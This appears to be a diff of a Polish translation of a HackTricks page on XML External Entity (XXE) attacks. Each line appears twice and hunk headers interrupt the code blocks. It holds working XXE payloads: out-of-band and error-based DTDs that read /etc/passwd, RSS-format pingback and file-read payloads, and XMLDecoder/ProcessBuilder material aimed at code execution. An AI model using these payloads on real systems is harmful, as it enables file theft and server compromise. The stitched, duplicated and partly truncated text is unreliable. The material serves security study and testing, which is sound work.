Wysyłane jest żądanie do serwera z następującą zawartością:
Wysłane jest żądanie do serwera z następującą zawartością:
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -593,14 +492,13 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Jednakże, to żądanie powoduje wewnętrzny błąd serwera, wskazujący konkretnie na problem z deklaracjami znaczników:
Jednakże to żądanie powoduje wewnętrzny błąd serwera, wskazujący konkretnie problem z deklaracjami znaczników:
```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
Pomimo błędu, na Burp Collaborator jest zarejestrowane trafienie, wskazujące na pewien poziom interakcji z zewnętrzną jednostką.
Mimo błędu, zarejestrowane jest trafienie w Burp Collaborator, wskazujące na pewien poziom interakcji z zewnętrzną jednostką.
Wyciek danych poza pasmem
Aby wyciec dane, wysyłane jest zmodyfikowane żądanie:
Odbieranie Danych Poza Bandą Aby wydobyć dane, wysyłane jest zmodyfikowane żądanie:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -612,29 +510,27 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Ta metoda ujawnia, że User Agent wskazuje na użycie Javy 1.8. Zauważono ograniczenie tej wersji Javy, polegające na niemożności pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, za pomocą techniki Out of Band.
To podejście ujawnia, że Agent użytkownika wskazuje na użycie Javy 1.8. Zauważoną ograniczeniem tej wersji Javy jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, za pomocą techniki Out of Band.
Eksfiltracja danych oparta na błędach
Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest strukturalnie zbudowany w taki sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
Eksfiltracja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest zbudowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
Serwer odpowiada błędem, istotnie odzwierciedlając nieistniejący plik, co wskazuje, że serwer próbuje uzyskać dostęp do określonego pliku:
Serwer odpowiada błędem, istotnie odzwierciedlając nieistniejący plik, wskazując, że serwer próbuje uzyskać dostęp do określonego pliku:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
Aby dołączyć zawartość pliku do komunikatu o błędzie, plik DTD jest dostosowywany:
Aby uwzględnić zawartość pliku w komunikacie o błędzie, plik DTD jest dostosowany:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
Ta modyfikacja prowadzi do udanej ekstrakcji zawartości pliku, co jest odzwierciedlone w błędzie wysłanym za pomocą protokołu HTTP. Wskazuje to na udany atak XXE (XML External Entity), wykorzystujący techniki Out of Band i Error-Based do wydobycia poufnych informacji.
Ta modyfikacja prowadzi do udanego wycieku zawartości pliku, co jest odzwierciedlone w komunikacie błędu wysłanym za pomocą protokołu HTTP. Oznacza to udany atak XXE (XML External Entity), wykorzystujący techniki Out of Band i Error-Based do wydobycia poufnych informacji.
## RSS - XEE
@ -642,7 +538,7 @@ Poprawny XML w formacie RSS do wykorzystania podatności XXE.
### Ping back
Prosty żądanie HTTP do serwera atakującego
Proste żądanie HTTP do serwera atakującego
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -664,21 +560,6 @@ Prosty żądanie HTTP do serwera atakującego
</rss>
```
### Odczyt pliku
W przypadku ataku na XML External Entity (XXE) można wykorzystać funkcję odczytu pliku. Aby to zrobić, należy utworzyć odpowiednio spreparowany plik XML, który zawiera zewnętrzną encję, wskazującą na plik, który chcemy odczytać.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
```
W powyższym przykładzie plik XML zawiera zewnętrzną encję `xxe`, która wskazuje na plik `/etc/passwd`. Po przetworzeniu tego pliku przez parser XML, zawartość pliku `/etc/passwd` zostanie zwrócona jako część odpowiedzi.
Ten atak może być wykorzystany do odczytu innych plików na serwerze, takich jak pliki konfiguracyjne, klucze prywatne, czy nawet poufne dane.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -722,7 +603,7 @@ Za pomocą filtra PHP base64
</channel>
</rss>
```
## Java XMLDecoder XEE do RCE
## Java XMLDecoder XEE to RCE
XMLDecoder to klasa Javy, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik może zmusić aplikację do użycia dowolnych danych w wywołaniu metody **readObject**, natychmiast uzyska wykonanie kodu na serwerze.
@ -758,24 +639,7 @@ XMLDecoder to klasa Javy, która tworzy obiekty na podstawie wiadomości XML. Je
```
### ProcessBuilder
ProcessBuilder jest klasą w języku Java, która umożliwia tworzenie i kontrolowanie procesów systemowych. Może być używana do uruchamiania zewnętrznych programów i wykonywania poleceń w systemie operacyjnym.
Aby użyć ProcessBuildera, należy utworzyć nową instancję tej klasy i przekazać jej polecenie, które chcemy wykonać. Możemy również ustawić inne parametry, takie jak zmienne środowiskowe, katalog roboczy i strumienie wejścia/wyjścia.
Po utworzeniu obiektu ProcessBuilder, możemy go uruchomić za pomocą metody `start()`. Spowoduje to uruchomienie procesu systemowego i zwrócenie obiektu klasy `Process`, który reprezentuje ten proces.
Możemy również użyć metody `inheritIO()`, aby przekierować strumienie wejścia/wyjścia procesu na strumienie wejścia/wyjścia bieżącego procesu. Jest to przydatne, gdy chcemy zobaczyć wynik działania uruchomionego programu w naszej konsoli.
Przykład użycia ProcessBuildera:
```java
ProcessBuilder processBuilder = new ProcessBuilder("ls", "-l");
processBuilder.inheritIO();
Process process = processBuilder.start();
process.waitFor();
```
W powyższym przykładzie tworzymy nowy obiekt ProcessBuilder, który uruchamia polecenie `ls -l` w systemie operacyjnym. Następnie przekierowujemy strumienie wejścia/wyjścia procesu na strumienie wejścia/wyjścia bieżącego procesu za pomocą metody `inheritIO()`. Na koniec uruchamiamy proces i czekamy na jego zakończenie za pomocą metody `waitFor()`.
### ProcessBuilder
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
@ -809,15 +673,15 @@ W powyższym przykładzie tworzymy nowy obiekt ProcessBuilder, który uruchamia
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
## Odwołania
## Odnośniki
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
* Wyodrębnianie informacji za pomocą HTTP przy użyciu własnego zewnętrznego DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
* Wyciąganie informacji za pomocą HTTP przy użyciu własnego zewnętrznego DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
<details>
@ -826,10 +690,10 @@ W powyższym przykładzie tworzymy nowy obiekt ProcessBuilder, który uruchamia
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>